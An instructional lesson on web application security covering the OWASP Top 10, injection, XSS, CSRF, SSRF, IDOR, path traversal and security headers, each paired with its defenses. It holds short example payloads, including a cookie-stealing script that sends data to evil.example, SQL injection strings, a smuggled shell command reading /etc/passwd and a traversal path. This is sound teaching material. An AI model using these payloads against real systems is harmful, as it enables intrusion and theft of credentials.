SEC/Lesson 4 of 7/8 min read
Web Application Security
The OWASP Top 10, SQL injection, XSS, CSRF, SSRF, IDOR, command injection, path traversal, insecure deserialization, CORS, the same-origin policy, and security headers.
On this page
OWASP Top 10
The OWASP Top 10 is the industry reference list of the most critical web application risks (2021 edition):
| # | Category | Example |
|---|---|---|
| A01 | Broken access control | IDOR, missing admin checks |
| A02 | Cryptographic failures | Plaintext passwords, HTTP login |
| A03 | Injection | SQL injection, XSS, command injection |
| A04 | Insecure design | No rate limit on password reset |
| A05 | Security misconfiguration | Default credentials, verbose errors, open buckets |
| A06 | Vulnerable and outdated components | Unpatched libraries (Log4Shell) |
| A07 | Identification and authentication failures | Credential stuffing, weak sessions |
| A08 | Software and data integrity failures | Unsigned updates, insecure deserialization |
| A09 | Security logging and monitoring failures | Breaches go unnoticed |
| A10 | Server-side request forgery | Fetching attacker-supplied URLs |
The golden rule behind most of them: never trust user input. Validate it at the boundary, and encode or parameterize it for the context where it is used.
Injection
Injection happens when untrusted data is interpreted as code or commands by an interpreter (SQL, shell, LDAP, a template engine).
SQL Injection
Building queries by string concatenation lets input change the query's structure.
# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE name = '{name}' AND pw = '{pw}'")
# name = admin' -- comments out the password check
# name = ' UNION SELECT card_number, cvv FROM cards -- dumps another tableVariants: in-band (error-based, UNION-based), blind (boolean-based, time-based with SLEEP()), and out-of-band (DNS exfiltration).
Parameterized Query
The fix is a parameterized query (prepared statement): the query structure is sent separately from the data, so input can never become SQL.
cursor.execute("SELECT * FROM users WHERE name = %s AND pw_hash = %s", (name, pw_hash))Also: use an ORM correctly (avoid raw string queries), allow-list dynamic identifiers like sort columns, and give the database account least privilege. Escaping by hand is error-prone; parameterize instead.
Command Injection
Command injection passes user input to a shell.
os.system(f"ping -c 1 {host}") # host = "8.8.8.8; cat /etc/passwd"
subprocess.run(["ping", "-c", "1", host]) # safe: no shell, argument listAvoid the shell, pass arguments as a list, and validate input against an allow-list.
Cross-Site Scripting
Cross-site scripting (XSS) injects attacker JavaScript into a page other users view. The script runs with the site's origin, so it can steal session tokens, act as the user, or rewrite the page.
| Type | Where the payload lives |
|---|---|
| Stored | Saved on the server (a comment), served to every viewer. Most dangerous. |
| Reflected | In the request (a search query in a link), reflected in the response. |
| DOM-based | Client-side JS writes untrusted data into the DOM (innerHTML = location.hash). |
<!-- comment field containing -->
<script>fetch('https://evil.example/c?='+document.cookie)</script>Defenses:
- Context-aware output encoding: HTML-encode in HTML bodies, attribute-encode in attributes, JS-encode in scripts. Frameworks like React escape by default;
dangerouslySetInnerHTMLandv-htmlopt out. - Sanitize HTML you must allow with a library such as DOMPurify.
- Content Security Policy to block inline and third-party scripts.
HttpOnlycookies so scripts cannot read session cookies.- Avoid dangerous sinks:
innerHTML,eval,document.write.
Cross-Site Request Forgery
Cross-site request forgery (CSRF) tricks a logged-in user's browser into sending a state-changing request to a site, which arrives with the user's cookies attached automatically.
<!-- on evil.example -->
<form action="https://bank.example/transfer" method="POST">
<input name="to" value="attacker"><input name="amount" value="5000">
</form>
<script>document.forms[0].submit()</script>Defenses:
SameSite=LaxorStrictcookies (browsers default to Lax), so cookies are not sent on cross-site POSTs.- Anti-CSRF tokens: a random per-session token in a hidden field or header that the attacker's page cannot read.
- Check
Origin/Refererheaders on state-changing requests. - Never change state on
GET.
APIs using Authorization: Bearer headers (not cookies) are not vulnerable to CSRF, since browsers do not attach them automatically.
Server-Side Request Forgery
Server-side request forgery (SSRF) makes the server fetch a URL the attacker controls, reaching places the attacker cannot: internal services, admin panels, and the cloud metadata endpoint (http://169.254.169.254/), which can return IAM credentials.
Common entry points: URL previews, webhooks, PDF generators, image fetch-by-URL, file imports.
Defenses:
- Allow-list destination hosts and schemes where possible.
- Resolve the hostname and block private, loopback and link-local ranges, and pin the resolved IP for the actual request (defeats DNS rebinding).
- Disable redirects or re-validate each hop.
- Require IMDSv2 tokens on AWS; isolate fetchers in a network with no internal access.
IDOR
Insecure direct object reference (IDOR) exposes an object by its identifier without checking that the requester owns it.
GET /api/invoices/1001 → my invoice
GET /api/invoices/1002 → someone else's invoice (bug)Fix: check ownership or permission for every object on the server (WHERE id = ? AND owner_id = ?). Random UUIDs make guessing harder but do not replace the check. IDOR is the most common high-impact bug in bug bounty programs. See access control.
Path Traversal
Path traversal uses ../ sequences to read files outside the intended directory.
GET /download?file=../../../../etc/passwdFix: never build paths from raw input; map IDs to files, or resolve the canonical path and verify it stays inside the base directory. Watch for encoded variants (%2e%2e%2f).
Insecure Deserialization
Insecure deserialization of untrusted data with formats that can instantiate arbitrary objects (Java native serialization, Python pickle, PHP unserialize, YAML with unsafe loaders) can lead to remote code execution through gadget chains. Use data-only formats like JSON with schema validation, and sign anything you must round-trip.
Same-Origin Policy
The same-origin policy (SOP) stops scripts on one origin from reading responses from another. An origin is scheme + host + port: https://a.com and https://a.com:8443 differ. SOP does not stop sending requests (that is why CSRF exists), only reading the responses.
CORS
CORS (Cross-Origin Resource Sharing) lets a server explicitly relax SOP for chosen origins via response headers.
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: trueNon-simple requests (custom headers, PUT, JSON content type) trigger a preflight OPTIONS request first.
Misconfigurations: reflecting any Origin back with Allow-Credentials: true, allowing null, or regex checks like endsWith("example.com") that match evilexample.com. These let any site read authenticated responses. Use an exact allow-list.
Content Security Policy
A Content Security Policy (CSP) header tells the browser which sources may load scripts, styles, frames and more.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; frame-ancestors 'none'; base-uri 'none'A strict nonce- or hash-based CSP stops most XSS even when an injection bug exists. Avoid 'unsafe-inline' and broad CDN allow-lists. Roll out with Content-Security-Policy-Report-Only first.
Security Headers
| Header | Purpose |
|---|---|
Strict-Transport-Security | Force HTTPS for future visits (HSTS) |
Content-Security-Policy | Restrict script and resource sources |
X-Content-Type-Options: nosniff | Stop MIME sniffing |
X-Frame-Options / CSP frame-ancestors | Prevent clickjacking |
Referrer-Policy | Limit URL leakage in Referer |
Permissions-Policy | Disable camera, microphone, geolocation unless needed |
Clickjacking
Clickjacking loads the target site in an invisible iframe over a decoy page, so the user's click lands on a real button (delete account, approve payment). Prevent framing with frame-ancestors 'none' or X-Frame-Options: DENY.
Other common issues
- File upload: validate type by content, not extension; rename files; store outside the web root or in object storage; serve from a separate domain.
- Open redirect:
?next=https://evil.example. Allow-list redirect targets or only accept relative paths. - Mass assignment: binding a whole request body to a model lets users set
is_admin=true. Allow-list fields. - Verbose errors: stack traces reveal versions and paths. Show generic errors; log details internally.
- Dependency vulnerabilities: track and patch with SCA tools (Dependabot,
npm audit), pin and verify packages.
Quick revision
- Never trust input: validate at the boundary, encode or parameterize for the output context.
- SQL injection: parameterized queries. Command injection: no shell, argument lists.
- XSS: output encoding, sanitization, strict CSP,
HttpOnlycookies. Stored XSS is the worst. - CSRF:
SameSitecookies, anti-CSRF tokens, no state changes on GET. - SSRF: allow-list destinations, block internal ranges, protect cloud metadata.
- IDOR: check ownership on every object access.
- SOP blocks cross-origin reads; CORS relaxes it, so allow-list exact origins.
- Add HSTS, CSP, nosniff, frame-ancestors and Referrer-Policy headers.